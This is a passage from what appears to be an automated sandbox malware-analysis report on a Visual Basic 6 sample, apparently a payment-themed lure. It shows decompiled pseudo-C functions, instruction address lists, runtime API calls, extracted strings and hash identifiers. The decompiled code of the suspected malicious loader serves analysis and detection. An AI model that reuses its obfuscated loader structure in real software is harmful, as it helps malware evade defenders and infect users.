				}
				if( *0x427010 != 0) {
					_v232 = 0x427010;
				} else {
					_push(0x427010);
					_push(0x40d8b0);
					L004014EA();
					_v232 = 0x427010;
				}
				_t510 =  &_v60;
				L004014F0();
				_v156 = _t510;
				_t514 =  *((intOrPtr*)( *_v156 + 0xe0))(_v156,  &_v148, _t510,  *((intOrPtr*)( *((intOrPtr*)( *_v232)) + 0x300))( *_v232));
				asm("fclex");
				_v160 = _t514;
				if(_v160 >= 0) {
					_v236 = _v236 & 0x00000000;
				} else {
					_push(0xe0);
					_push(0x40f280);
					_push(_v156);
					_push(_v160);
					L004014E4();
					_v236 = _t514;
				}
				_v32 = _v148;
				L004014DE();
				asm("wait");
				_push(0x425146);
				L0040142A();
				_t516 =  &_v36;
				_push(_t516);
				_push(0);
				L00401424();
				return _t516;
				goto L105;
			}

0x00424aed
0x00424aed
0x00424aee
0x00424af0
0x00424aff
0x00424b0b
0x00424b13
0x00424b16
0x00424b1d
0x00424b2c
0x00424b35
0x00424b3a
0x00424b44
0x00424b4e
0x00424b66
0x00424b75
0x00424b77
0x00424b7f
0x00424b80
0x00424b85
0x00424b88
0x00424b89
0x00424b8e
0x00424b95
0x00424b96
0x00424b9e
0x00424ba3
0x00424baa
0x00424bb1
0x00424bb8
0x00424bc2
0x00424bc5
0x00424bcf
0x00424bd0
0x00424bd1
0x00424bd2
0x00424bd3
0x00424bd5
0x00424bdd
0x00424bdd
0x00424be0
0x00424be3
0x00424be4
0x00424be9
0x00424bec
0x00424bed
0x00424bf3
0x00424bf4
0x00424bf9
0x00424c03
0x00424c11
0x00424c13
0x00424c1a
0x00424c21
0x00424c24
0x00424c25
0x00424c2d
0x00424c34
0x00424c3c
0x00424c3f
0x00424c46
0x00424c48
0x00424c4d
0x00424c51
0x00424c52
0x00424c5a
0x00424c5b
0x00424c65
0x00424c72
0x00424c7a
0x00424c82
0x00424c82
0x00424c8e
0x00424cab
0x00424c90
0x00424c90
0x00424c95
0x00424c9a
0x00424c9f
0x00424c9f
0x00424ccf
0x00424cd3
0x00424cd8
0x00424cde
0x00424ce5
0x00424cef
0x00424cf4
0x00424cf7
0x00424cf9
0x00424cfa
0x00424cfb
0x00424cfc
0x00424d0b
0x00424d11
0x00424d13
0x00424d20
0x00424d45
0x00424d22
0x00424d22
0x00424d27
0x00424d2c
0x00424d32
0x00424d38
0x00424d3d
0x00424d3d
0x00424d4f
0x00424d5b
0x00424d78
0x00424d5d
0x00424d5d
0x00424d62
0x00424d67
0x00424d6c
0x00424d6c
0x00424d9c
0x00424da0
0x00424da5
0x00424dc0
0x00424dc6
0x00424dc8
0x00424dd5
0x00424dfa
0x00424dd7
0x00424dd7
0x00424ddc
0x00424de1
0x00424de7
0x00424ded
0x00424df2
0x00424df2
0x00424e08
0x00424e0c
0x00424e16
0x00424e17
0x00424e21
0x00424e29
0x00424e2f
0x00424e3a
0x00424e57
0x00424e3c
0x00424e3c
0x00424e41
0x00424e46
0x00424e4b
0x00424e4b
0x00424e7b
0x00424e7f
0x00424e84
0x00424e9f
0x00424ea2
0x00424ea4
0x00424eb1
0x00424ed3
0x00424eb3
0x00424eb3
0x00424eb5
0x00424eba
0x00424ec0
0x00424ec6
0x00424ecb
0x00424ecb
0x00424eda
0x00424ee0
0x00424ee3
0x00424eea
0x00424ef5
0x00424efa
0x00424efb
0x00424f05
0x00424f0a
0x00424f0b
0x00424f0e
0x00424f0f
0x00424f19
0x00424f1e
0x00424f1f
0x00424f2b
0x00424f2d
0x00424f37
0x00424f3b
0x00424f3f
0x00424f43
0x00424f44
0x00424f46
0x00424f51
0x00424f55
0x00424f56
0x00424f58
0x00424f63
0x00424f67
0x00424f68
0x00424f6a
0x00424f6f
0x00424f72
0x00424f7b
0x00424f81
0x00424f86
0x00424f90
0x00424f95
0x00424f96
0x00424f9b
0x00424f9c
0x00424fa6
0x00424fb0
0x00424fb3
0x00424fbb
0x00424fbc
0x00424fbf
0x00424fc0
0x00424fc2
0x00424fc7
0x00424fca
0x00424fcf
0x00424fd4
0x00424fd6
0x00424fdb
0x00424fe1
0x00424fe7
0x00424fed
0x00424ff3
0x00424ff4
0x00424ff5
0x00424ff8
0x00424ffd
0x00424ffe
0x00424fff
0x00425002
0x0042500c
0x00425019
0x0042501e
0x00425021
0x00425021
0x00424b57
0x00424b5d
0x0042516f
0x00425174
0x00425175
0x00425177
0x00425178
0x00425179
0x00425184
0x00425185
0x00425191
0x00425196
0x00425197
0x00425198
0x00425199
0x0042519c
0x004251a3
0x004251a5
0x004251ad
0x004251ae
0x004251b3
0x004251b8
0x004251c2
0x004251c7
0x004251c9
0x004251d1
0x004251d2
0x004251d7
0x004251da
0x004251db
0x004251e0
0x004251e4
0x004251e5
0x004251ed
0x004251f2
0x004251fc
0x0042520f
0x00425214
0x0042521c
0x00425220
0x00425221
0x00425226
0x0042522d
0x00425237
0x0042523a
0x0042523f
0x00425242
0x00425244
0x00425245
0x00425246
0x00425247
0x00425248
0x0042524a
0x0042524f
0x00425252
0x00425255
0x00425256
0x0042525e
0x0042525f
0x00425265
0x00425266
0x0042526b
0x00425275
0x00425279
0x0042527d
0x0042527e
0x00425280
0x00425285
0x00425291
0x00425293
0x0042529a
0x004252a1
0x004252a4
0x004252a5
0x004252aa
0x004252b1
0x004252b9
0x004252bf
0x004252c9
0x004252cb
0x004252d3
0x004252d7
0x004252d8
0x004252e0
0x004252e1
0x004252eb
0x004252f8
0x00425300
0x00425308
0x00425308
0x00425314
0x00425331
0x00425316
0x00425316
0x0042531b
0x00425320
0x00425325
0x00425325
0x00425355
0x00425359
0x0042535e
0x00425376
0x0042537c
0x0042537e
0x0042538b
0x004253b0
0x0042538d
0x0042538d
0x00425392
0x00425397
0x0042539d
0x004253a3
0x004253a8
0x004253a8
0x004253b7
0x004253be
0x004253c8
0x004253ce
0x004253d8
0x004253db
0x004253e5
0x004253e6
0x004253eb
0x004253ef
0x004253f0
0x004253f5
0x004253ff
0x0042540c
0x0042540d
0x00425413
0x00425414
0x00425419
0x00425423
0x0042542b
0x0042542f
0x00425433
0x00425434
0x00425436
0x0042543b
0x00425447
0x004255eb
0x004255eb
0x004255f2
0x0042562a
0x00425632
0x0042563e
0x0042563f
0x00425641
0x00425646
0x00425649
0x0042564a
0x0042564c
0x00425654
0x00425659
0x0042544d
0x00425454
0x00425471
0x00425456
0x00425456
0x0042545b
0x00425460
0x00425465
0x00425465
0x00425483
0x0042549b
0x0042549e
0x004254a0
0x004254ad
0x004254cf
0x004254af
0x004254af
0x004254b1
0x004254b6
0x004254bc
0x004254c2
0x004254c7
0x004254c7
0x004254d9
0x004254f4
0x004254fa
0x004254fc
0x00425509
0x0042552e
0x0042550b
0x0042550b
0x00425510
0x00425515
0x0042551b
0x00425521
0x00425526
0x00425526
0x0042553c
0x00425540
0x00425543
0x00425548
0x0042554b
0x0042554c
0x0042554e
0x00425553
0x00425559
0x00425566
0x00425584
0x00425595
0x00425598
0x004255a8
0x004255b3
0x004255b8
0x004255aa
0x004255aa
0x004255aa
0x004255c4
0x004255c9
0x00425675
0x00425675
0x0042567a
0x0042567b
0x0042567d
0x0042567e
0x0042567f
0x0042568a
0x0042568b
0x00425697
0x0042569c
0x0042569d
0x0042569e
0x0042569f
0x004256a2
0x004256a9
0x004256ab
0x004256b3
0x004256b4
0x004256b9
0x004256bc
0x004256bd
0x004256c2
0x004256c6
0x004256c7
0x004256cf
0x004256db
0x004256f8
0x004256dd
0x004256dd
0x004256e2
0x004256e7
0x004256ec
0x004256ec
0x0042571c
0x00425720
0x00425725
0x0042573d
0x00425743
0x00425745
0x00425752
0x00425777
0x00425754
0x00425754
0x00425759
0x0042575e
0x00425764
0x0042576a
0x0042576f
0x0042576f
0x00425781
0x00425787
0x00425791
0x00425794
0x0042579b
0x004257a3
0x004257a7
0x004257a8
0x004257ad
0x004257b4
0x004257be
0x004257c1
0x004257c6
0x004257c9
0x004257cb
0x004257cc
0x004257cd
0x004257ce
0x004257cf
0x004257d1
0x004257d6
0x004257d9
0x004257dc
0x004257dd
0x004257e5
0x004257e6
0x004257ec
0x004257ed
0x004257f2
0x004257fc
0x00425804
0x00425808
0x0042580c
0x0042580d
0x0042580f
0x00425814
0x00425820
0x00425822
0x00425829
0x00425830
0x00425833
0x00425834
0x00425839
0x00425840
0x0042584d
0x00425853
0x0042585d
0x0042585f
0x00425867
0x0042586b
0x0042586c
0x00425874
0x00425875
0x0042587f
0x00425887
0x00425887
0x00425893
0x004258b0
0x00425895
0x00425895
0x0042589a
0x0042589f
0x004258a4
0x004258a4
0x004258d4
0x004258d8
0x004258dd
0x004258f5
0x004258fb
0x004258fd
0x0042590a
0x0042592f
0x0042590c
0x0042590c
0x00425911
0x00425916
0x0042591c
0x00425922
0x00425927
0x00425927
0x00425936
0x0042593d
0x00425944
0x0042594e
0x00425961
0x00425969
0x0042596a
0x0042596f
0x00425973
0x00425974
0x0042597c
0x00425982
0x0042598c
0x0042598f
0x00425996
0x0042599b
0x0042599f
0x004259a0
0x004259a8
0x004259a9
0x004259ac
0x004259ad
0x004259b2
0x004259bc
0x004259c4
0x004259c8
0x004259cc
0x004259d0
0x004259d4
0x004259d5
0x004259d7
0x004259dc
0x004259df
0x004259e8
0x004259f5
0x00425a12
0x004259f7
0x004259f7
0x004259fc
0x00425a01
0x00425a06
0x00425a06
0x00425a24
0x00425a3c
0x00425a3f
0x00425a41
0x00425a4e
0x00425a70
0x00425a50
0x00425a50
0x00425a52
0x00425a57
0x00425a5d
0x00425a63
0x00425a68
0x00425a68
0x00425a7a
0x00425a95
0x00425a9b
0x00425a9d
0x00425aaa
0x00425acf
0x00425aac
0x00425aac
0x00425ab1
0x00425ab6
0x00425abc
0x00425ac2
0x00425ac7
0x00425ac7
0x00425add
0x00425ae1
0x00425ae4
0x00425aec
0x00425af1
0x00425af2
0x00425af4
0x00425af9
0x00425aff
0x00425b09
0x00425b21
0x00425b21
0x00425b2a
0x00000000
0x00000000
0x00425b2c
0x00425b2f
0x00425b3f
0x00425b4a
0x00425b4f
0x00425b41
0x00425b41
0x00425b41
0x00425b58
0x00425b5b
0x00425be5
0x00425be5
0x00425bed
0x00425bfc
0x00425c06
0x00425c0e
0x00425c11
0x00425c18
0x00425c27
0x00425c32
0x00425c38
0x00425c3a
0x00425c41
0x00425c5d
0x00425c43
0x00425c43
0x00425c48
0x00425c4d
0x00425c50
0x00425c53
0x00425c58
0x00425c58
0x00425c61
0x00425c68
0x00425c69
0x00425c6e
0x00425c74
0x00425c76
0x00425c78
0x00425c79
0x00425c79
0x00425b61
0x00425b6b
0x00425b73
0x00425b7f
0x00425b12
0x00425b18
0x00000000
0x00000000
0x00425b1e
0x00425b1e
0x00425b21
0x00425b84
0x00425b84
0x00425bc4
0x00425bcc
0x00425bd1
0x004255cf
0x004255cf
0x004255d9
0x004255e1
0x004255e7
0x00425572
0x00425578
0x00000000
0x0042557e
0x0042557e
0x00425581
0x00000000
0x00425581
0x00425578
0x00000000
0x004255c9
0x00000000
0x00425584
0x00424b63
0x00424b63
0x00000000
0x00424b63
0x00000000
0x00424b5d
0x00425032
0x0042504f
0x00425034
0x00425034
0x00425039
0x0042503e
0x00425043
0x00425043
0x00425073
0x00425077
0x0042507c
0x00425097
0x0042509d
0x0042509f
0x004250ac
0x004250d1
0x004250ae
0x004250ae
0x004250b3
0x004250b8
0x004250be
0x004250c4
0x004250c9
0x004250c9
0x004250df
0x004250e6
0x004250eb
0x004250ec
0x00425135
0x0042513a
0x0042513d
0x0042513e
0x00425140
0x00425145
0x00000000

APIs

__vbaChkstk.MSVBVM60(?,004012B6), ref: 00424B0B
__vbaStrCopy.MSVBVM60(?,?,?,?,004012B6), ref: 00424B35
#716.MSVBVM60(?,Scripting.FileSystemObject,00000000), ref: 00424B80
__vbaObjVar.MSVBVM60(?,?,Scripting.FileSystemObject,00000000), ref: 00424B89
__vbaObjSetAddref.MSVBVM60(0040120C,00000000,?,?,Scripting.FileSystemObject,00000000), ref: 00424B96
__vbaFreeVar.MSVBVM60(0040120C,00000000,?,?,Scripting.FileSystemObject,00000000), ref: 00424B9E
__vbaChkstk.MSVBVM60(0040120C,00000000,?,?,Scripting.FileSystemObject,00000000), ref: 00424BC5
__vbaLateMemCallLd.MSVBVM60(?,103C25FF,FolderExists,00000001,0040120C,00000000,?,?,Scripting.FileSystemObject,00000000), ref: 00424BE4
__vbaVarTstLt.MSVBVM60(?,00000000), ref: 00424BF4
__vbaFreeVar.MSVBVM60(?,00000000), ref: 00424C03
#648.MSVBVM60(0000000A), ref: 00424C25
__vbaFreeVar.MSVBVM60(0000000A), ref: 00424C34
#717.MSVBVM60(0000000A,00006011,00000040,00000000,?,?,?,?,?,?,?,0000000A), ref: 00424C52
__vbaStrVarMove.MSVBVM60(0000000A,0000000A,00006011,00000040,00000000,?,?,?,?,?,?,?,0000000A), ref: 00424C5B
__vbaStrMove.MSVBVM60(0000000A,0000000A,00006011,00000040,00000000,?,?,?,?,?,?,?,0000000A), ref: 00424C65
__vbaStrCopy.MSVBVM60(0000000A,0000000A,00006011,00000040,00000000,?,?,?,?,?,?,?,0000000A), ref: 00424C72
__vbaFreeStr.MSVBVM60(0000000A,0000000A,00006011,00000040,00000000,?,?,?,?,?,?,?,0000000A), ref: 00424C7A
__vbaFreeVar.MSVBVM60(0000000A,0000000A,00006011,00000040,00000000,?,?,?,?,?,?,?,0000000A), ref: 00424C82
__vbaNew2.MSVBVM60(0040D8B0,00427010,?,00000000), ref: 00424C9A
__vbaObjSet.MSVBVM60(?,00000000), ref: 00424CD3
__vbaChkstk.MSVBVM60(?,00000000), ref: 00424CEF
__vbaHresultCheckObj.MSVBVM60(00000000,?,0040F280,000001D0), ref: 00424D38
__vbaFreeObj.MSVBVM60(00000000,?,0040F280,000001D0), ref: 00424D4F
__vbaNew2.MSVBVM60(0040D8B0,00427010), ref: 00424D67
__vbaObjSet.MSVBVM60(?,00000000), ref: 00424DA0
__vbaHresultCheckObj.MSVBVM60(00000000,?,0040F310,00000168), ref: 00424DED
#651.MSVBVM60(00000002), ref: 00424E17
__vbaStrMove.MSVBVM60(00000002), ref: 00424E21
__vbaNew2.MSVBVM60(0040D8B0,00427010,00000002), ref: 00424E46
__vbaObjSet.MSVBVM60(?,00000000), ref: 00424E7F
__vbaHresultCheckObj.MSVBVM60(00000000,?,0040F280,00000068), ref: 00424EC6
__vbaStrMove.MSVBVM60(00000074), ref: 00424EF5
#616.MSVBVM60(00000000,00000074), ref: 00424EFB
__vbaStrMove.MSVBVM60(00000000,00000074), ref: 00424F05
#574.MSVBVM60(00000003,00000000,00000000,00000074), ref: 00424F0F
__vbaStrMove.MSVBVM60(00000003,00000000,00000000,00000074), ref: 00424F19
__vbaStrCmp.MSVBVM60(00000000,00000003,00000000,00000000,00000074), ref: 00424F1F
__vbaFreeStrList.MSVBVM60(00000004,?,?,00000000,00000000,00000000,00000003,00000000,00000000,00000074), ref: 00424F46
__vbaFreeObjList.MSVBVM60(00000002,?,?), ref: 00424F58
__vbaFreeVarList.MSVBVM60(00000002,?,?), ref: 00424F6A
#525.MSVBVM60(000000F4), ref: 00424F86
__vbaStrMove.MSVBVM60(000000F4), ref: 00424F90
__vbaLenBstr.MSVBVM60(00000000,000000F4), ref: 00424F96
__vbaStrI4.MSVBVM60(00000000,00000000,000000F4), ref: 00424F9C
__vbaStrMove.MSVBVM60(00000000,00000000,000000F4), ref: 00424FA6
__vbaStrCopy.MSVBVM60(00000000,00000000,000000F4), ref: 00424FB3
__vbaFreeStrList.MSVBVM60(00000002,?,?,00000000,00000000,000000F4), ref: 00424FC2
#588.MSVBVM60(0000002B,000000F9,000000A6,00000000,00000000,000000F4), ref: 00424FD6
#587.MSVBVM60(?,?,0000002B,000000F9,000000A6,00000000,00000000,000000F4), ref: 00424FF8
__vbaStrR8.MSVBVM60(?,?,?,?,0000002B,000000F9,000000A6,00000000,00000000,000000F4), ref: 00425002
__vbaStrMove.MSVBVM60(?,?,?,?,0000002B,000000F9,000000A6,00000000,00000000,000000F4), ref: 0042500C
__vbaStrCopy.MSVBVM60(?,?,?,?,0000002B,000000F9,000000A6,00000000,00000000,000000F4), ref: 00425019
__vbaFreeStr.MSVBVM60(?,?,?,?,0000002B,000000F9,000000A6,00000000,00000000,000000F4), ref: 00425021
__vbaNew2.MSVBVM60(0040D8B0,00427010), ref: 0042503E
__vbaObjSet.MSVBVM60(?,00000000), ref: 00425077
__vbaHresultCheckObj.MSVBVM60(00000000,?,0040F280,000000E0), ref: 004250C4
__vbaFreeObj.MSVBVM60 ref: 004250E6
__vbaFreeStr.MSVBVM60(00425146), ref: 00425135
__vbaAryDestruct.MSVBVM60(00000000,?,00425146), ref: 00425140

Strings

FolderExists, xrefs: 00424BD5
REVALIDERINGSVRKSTEDER, xrefs: 00424BA3
Scripting.FileSystemObject, xrefs: 00424B77
ci, xrefs: 00424B3A

Memory Dump Source

Source File: 00000000.00000002.371024817.0000000000411000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.370978740.0000000000400000.00000002.00020000.sdmpDownload File
Associated: 00000000.00000002.370992371.0000000000401000.00000020.00020000.sdmpDownload File
Associated: 00000000.00000002.371007980.000000000040B000.00000020.00020000.sdmpDownload File
Associated: 00000000.00000002.371046740.0000000000427000.00000004.00020000.sdmpDownload File
Associated: 00000000.00000002.371056590.0000000000429000.00000002.00020000.sdmpDownload File
Associated: 00000000.00000002.371063777.000000000042D000.00000002.00020000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_pago del 20.jbxd

Yara matches

Similarity

API ID: __vba$Free$Move$CheckCopyHresultListNew2$Chkstk$#525#574#587#588#616#648#651#716#717AddrefBstrCallDestructLate
String ID: FolderExists$REVALIDERINGSVRKSTEDER$Scripting.FileSystemObject$ci
API String ID: 1369822015-4198482247
Opcode ID: a6f219b2a1c6a89d38aa7cf8cffcaa7ecb07475b802145fbfa914b8c1cfdaca4
Instruction ID: ba2f232b34394e3218e52bb6c0f7a7bc9892be54908d3bdce800670b57b90fee
Opcode Fuzzy Hash: a6f219b2a1c6a89d38aa7cf8cffcaa7ecb07475b802145fbfa914b8c1cfdaca4
Instruction Fuzzy Hash: E6F1FB71E002189BDB10EFA1D845FDEB7B9BF04304F5085AAF509B72A1DB785A89CF58

Uniqueness

Uniqueness Score: -1.00%

Function 00423AC7 Relevance: 75.5, APIs: 38, Strings: 5, Instructions: 241
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 49%

			E00423AC7(void* __ebx, void* __ecx, void* __edi, void* __esi, intOrPtr _a4, void* _a20) {
				void* _v0;
				intOrPtr _v8;
				intOrPtr _v12;
				void* _v24;
				void* _v28;
				signed int _v32;
				char _v36;
				signed int _v40;
				char _v48;
				char _v56;
				intOrPtr _v64;
				signed int _v68;
				void* _v72;
				signed int _v76;
				intOrPtr _v80;
				intOrPtr* _v84;
				signed int _v88;
				char* _v96;
				intOrPtr _v104;
				signed int _v112;
				char _v120;
				intOrPtr* _v124;
				signed int _v128;
				short _v132;
				intOrPtr _v136;
				intOrPtr _v140;
				char _v148;
				intOrPtr* _v152;
				signed int _v156;
				intOrPtr* _v160;
				signed int _v164;
				signed int _t140;
				char* _t142;
				char* _t148;
				signed int _t152;
				char* _t157;
				short _t158;
				signed int _t164;
				signed int* _t170;
				signed int _t174;
				char* _t176;
				char* _t180;
				signed int _t184;
				char* _t186;
				void* _t193;
				signed int* _t206;
				intOrPtr _t240;
				char* _t243;
				intOrPtr _t246;
				intOrPtr _t248;

				_t193 = __ebx;
				_t246 = _t248;
				_push(0x4012b6);
				_push( *[fs:0x0]);
				 *[fs:0x0] = _t248;
				L004012B0();
				_push(__ebx);
				_v12 = _t248;
				_v8 = 0x4011c8;
				L0040148A();
				_v140 = 0x971f;
				_v136 = 1;
				 *(_a4 + 0x44) =  *(_a4 + 0x44) & 0x00000000;
				while(1) {
					_t140 =  *(_a4 + 0x44);
					if(_t140 > _v140) {
						break;
					}
					_push(0);
					_push(L"Scripting.FileSystemObject");
					_push( &_v56); // executed
					L00401412(); // executed
					_t142 =  &_v56;
					_push(_t142);
					L00401418();
					_push(_t142);
					_push(_a4 + 0x48);
					L0040141E();
					L004014C0();
					if( *0x427010 != 0) {
						_v152 = 0x427010;
					} else {
						_push(0x427010);
						_push(0x40d8b0);
						L004014EA();
						_v152 = 0x427010;
					}
					_t148 =  &_v36;
					L004014F0();
					_v124 = _t148;
					_t152 =  *((intOrPtr*)( *_v124 + 0x130))(_v124,  &_v32, _t148,  *((intOrPtr*)( *((intOrPtr*)( *_v152)) + 0x308))( *_v152));
					asm("fclex");
					_v128 = _t152;
					if(_v128 >= 0) {
						_v156 = _v156 & 0x00000000;
					} else {
						_push(0x130);
						_push(0x40f280);
						_push(_v124);
						_push(_v128);
						L004014E4();
						_v156 = _t152;
					}
					_v148 = _v32;
					_v32 = _v32 & 0x00000000;
					_v48 = _v148;
					_v56 = 8;
					_v112 = _v112 & 0x00000000;
					_v120 = 0x8002;
					_push(0x10);
					L004012B0();
					_t243 =  &_v56;
					_t240 = _t248;
					asm("movsd");
					asm("movsd");
					asm("movsd");
					asm("movsd");
					_push(1);
					_push(L"FileExists");
					_push( *((intOrPtr*)(_a4 + 0x48)));
					_t157 =  &_v72;
					_push(_t157);
					L0040140C();
					_push(_t157);
					_t158 =  &_v120;
					_push(_t158);
					L00401448();
					_v132 = _t158;
					L004014DE();
					_push( &_v72);
					_push( &_v56);
					_push(2);
					L004014A2();
					_t248 = _t248 + 0x2c;
					if(_v132 != 0) {
						if( *0x427010 != 0) {
							_v160 = 0x427010;
						} else {
							_push(0x427010);
							_push(0x40d8b0);
							L004014EA();
							_v160 = 0x427010;
						}
						_t180 =  &_v36;
						L004014F0();
						_v124 = _t180;
						_t184 =  *((intOrPtr*)( *_v124 + 0x130))(_v124,  &_v40, _t180,  *((intOrPtr*)( *((intOrPtr*)( *_v160)) + 0x318))( *_v160));
						asm("fclex");
						_v128 = _t184;
						if(_v128 >= 0) {
							_v164 = _v164 & 0x00000000;
						} else {
							_push(0x130);
							_push(0x40f290);
							_push(_v124);
							_push(_v128);
							L004014E4();
							_v164 = _t184;
						}
						_push(0);
						_push(0);
						_push(_v40);
						_push( &_v56);
						L004014BA();
						_push(0);
						_push(0xffffffff);
						_push(1);
						_push(L"Chlorogenic");
						_t186 =  &_v56;
						_push(_t186);
						L004014AE();
						L004014D2();
						_push(_t186);
						_push(L"pilfingrenes");
						L00401406();
						L004014D2();
						L0040142A();
						_push( &_v40);
						_push( &_v36);
						_push(2);
						L004014C6();
						L004014C0();
						_v96 = L"TOMBAKKET";
						_v104 = 8;
						L00401490();
						_push( &_v56);
						_push( &_v72);
						L00401400();
						_push( &_v72);
						L004014AE();
						L004014D2();
						L0040148A();
						L0040142A();
						_push( &_v72);
						_push( &_v56);
						_push(2);
						L004014A2();
						_t248 = _t248 + 0x28;
					}
					L004013FA();
					L004014D2();
					L0040148A();
					_t206 =  &_v32;
					L0040142A();
					_t164 =  *(_a4 + 0x44) + _v136;
					if(_t164 < 0) {
						L004013F4();
						_push(_t246);
						_push(_t206);
						_push(_t206);
						_push(0x4012b6);
						_push( *[fs:0x0]);
						 *[fs:0x0] = _t248;
						_push(0x40);
						L004012B0();
						_push(_t193);
						_push(_t243);
						_push(_t240);
						_v80 = _t248;
						_v76 = 0x4011d8;
						if( *0x427010 != 0) {
							_v84 = 0x427010;
						} else {
							_push(0x427010);
							_push(0x40d8b0);
							L004014EA();
							_v84 = 0x427010;
						}
						_t170 =  &_v32;
						L004014F0();
						_v72 = _t170;
						_v56 = 0x80020004;
						_v64 = 0xa;
						L004012B0();
						asm("movsd");
						asm("movsd");
						asm("movsd");
						asm("movsd");
						_t174 =  *((intOrPtr*)( *_v72 + 0x1c8))(_v72, 0x10, _t170,  *((intOrPtr*)( *((intOrPtr*)( *_v84)) + 0x2fc))( *_v84));
						asm("fclex");
						_v76 = _t174;
						if(_v76 >= 0) {
							_v88 = _v88 & 0x00000000;
						} else {
							_push(0x1c8);
							_push(0x40f280);
							_push(_v72);
							_push(_v76);
							L004014E4();
							_v88 = _t174;
						}
						L004014DE();
						_push(0x3c);
						_push(0xca);
						_push(0xfe);
						L004013EE();
						_v68 = _t174;
						_v40 = _v68;
						_v48 = 3;
						_push(0xfffffffe);
						_push(0xfffffffe);
						_push(0xfffffffe);
						_push(0xffffffff);
						_t176 =  &_v48;
						_push(_t176); // executed
						L004013E8(); // executed
						L004014D2();
						L0040148A();
						L0040142A();
						L004014C0();
						_push(0x423fc5);
						return _t176;
					} else {
						 *(_a4 + 0x44) = _t164;
						continue;
					}
					break;
				}
				_push(0x423e60);
				L0040142A();
				L0040142A();
				return _t140;
			}

0x00423ac7
0x00423ac8
0x00423acc
0x00423ad7
0x00423ad8
0x00423ae4
0x00423ae9
0x00423aec
0x00423aef
0x00423afc
0x00423b01
0x00423b0b
0x00423b18
0x00423b36
0x00423b39
0x00423b42
0x00000000
0x00000000
0x00423b48
0x00423b4a
0x00423b52
0x00423b53
0x00423b58
0x00423b5b
0x00423b5c
0x00423b61
0x00423b68
0x00423b69
0x00423b71
0x00423b7d
0x00423b9a
0x00423b7f
0x00423b7f
0x00423b84
0x00423b89
0x00423b8e
0x00423b8e
0x00423bbe
0x00423bc2
0x00423bc7
0x00423bd6
0x00423bdc
0x00423bde
0x00423be5
0x00423c04
0x00423be7
0x00423be7
0x00423bec
0x00423bf1
0x00423bf4
0x00423bf7
0x00423bfc
0x00423bfc
0x00423c0e
0x00423c14
0x00423c1e
0x00423c21
0x00423c28
0x00423c2c
0x00423c33
0x00423c36
0x00423c3b
0x00423c3e
0x00423c40
0x00423c41
0x00423c42
0x00423c43
0x00423c44
0x00423c46
0x00423c4e
0x00423c51
0x00423c54
0x00423c55
0x00423c5d
0x00423c5e
0x00423c61
0x00423c62
0x00423c67
0x00423c6e
0x00423c76
0x00423c7a
0x00423c7b
0x00423c7d
0x00423c82
0x00423c8b
0x00423c98
0x00423cb5
0x00423c9a
0x00423c9a
0x00423c9f
0x00423ca4
0x00423ca9
0x00423ca9
0x00423cd9
0x00423cdd
0x00423ce2
0x00423cf1
0x00423cf7
0x00423cf9
0x00423d00
0x00423d1f
0x00423d02
0x00423d02
0x00423d07
0x00423d0c
0x00423d0f
0x00423d12
0x00423d17
0x00423d17
0x00423d26
0x00423d28
0x00423d2a
0x00423d30
0x00423d31
0x00423d39
0x00423d3b
0x00423d3d
0x00423d3f
0x00423d44
0x00423d47
0x00423d48
0x00423d52
0x00423d57
0x00423d58
0x00423d5d
0x00423d67
0x00423d6f
0x00423d77
0x00423d7b
0x00423d7c
0x00423d7e
0x00423d89
0x00423d8e
0x00423d95
0x00423da2
0x00423daa
0x00423dae
0x00423daf
0x00423db7
0x00423db8
0x00423dc2
0x00423dcf
0x00423dd7
0x00423ddf
0x00423de3
0x00423de4
0x00423de6
0x00423deb
0x00423deb
0x00423dee
0x00423df8
0x00423e05
0x00423e0a
0x00423e0d
0x00423b24
0x00423b2a
0x00423e73
0x00423e78
0x00423e7b
0x00423e7c
0x00423e7d
0x00423e88
0x00423e89
0x00423e90
0x00423e93
0x00423e98
0x00423e99
0x00423e9a
0x00423e9b
0x00423e9e
0x00423eac
0x00423ec6
0x00423eae
0x00423eae
0x00423eb3
0x00423eb8
0x00423ebd
0x00423ebd
0x00423ee1
0x00423ee5
0x00423eea
0x00423eed
0x00423ef4
0x00423efe
0x00423f08
0x00423f09
0x00423f0a
0x00423f0b
0x00423f14
0x00423f1a
0x00423f1c
0x00423f23
0x00423f3f
0x00423f25
0x00423f25
0x00423f2a
0x00423f2f
0x00423f32
0x00423f35
0x00423f3a
0x00423f3a
0x00423f46
0x00423f4b
0x00423f4d
0x00423f52
0x00423f57
0x00423f5c
0x00423f62
0x00423f65
0x00423f6c
0x00423f6e
0x00423f70
0x00423f72
0x00423f74
0x00423f77
0x00423f78
0x00423f82
0x00423f8f
0x00423f97
0x00423f9f
0x00423fa4
0x00000000
0x00423b30
0x00423b33
0x00000000
0x00423b33
0x00000000
0x00423b2a
0x00423e17
0x00423e52
0x00423e5a
0x00423e5f

APIs

__vbaChkstk.MSVBVM60(?,004012B6), ref: 00423AE4
__vbaStrCopy.MSVBVM60(?,?,?,?,004012B6), ref: 00423AFC
#716.MSVBVM60(?,Scripting.FileSystemObject,00000000), ref: 00423B53
__vbaObjVar.MSVBVM60(?,?,Scripting.FileSystemObject,00000000), ref: 00423B5C
__vbaObjSetAddref.MSVBVM60(?,00000000,?,?,Scripting.FileSystemObject,00000000), ref: 00423B69
__vbaFreeVar.MSVBVM60(?,00000000,?,?,Scripting.FileSystemObject,00000000), ref: 00423B71
__vbaNew2.MSVBVM60(0040D8B0,00427010,?,00000000,?,?,Scripting.FileSystemObject,00000000), ref: 00423B89
__vbaObjSet.MSVBVM60(?,00000000), ref: 00423BC2
__vbaHresultCheckObj.MSVBVM60(00000000,?,0040F280,00000130), ref: 00423BF7
__vbaChkstk.MSVBVM60(00000000,?,0040F280,00000130), ref: 00423C36
__vbaLateMemCallLd.MSVBVM60(00000000,?,FileExists,00000001), ref: 00423C55
__vbaVarTstGt.MSVBVM60(?,00000000), ref: 00423C62
__vbaFreeObj.MSVBVM60(?,00000000), ref: 00423C6E
__vbaFreeVarList.MSVBVM60(00000002,?,?,?,00000000), ref: 00423C7D
__vbaNew2.MSVBVM60(0040D8B0,00427010,?,?,00000000), ref: 00423CA4
__vbaObjSet.MSVBVM60(?,00000000), ref: 00423CDD
__vbaHresultCheckObj.MSVBVM60(00000000,?,0040F290,00000130), ref: 00423D12
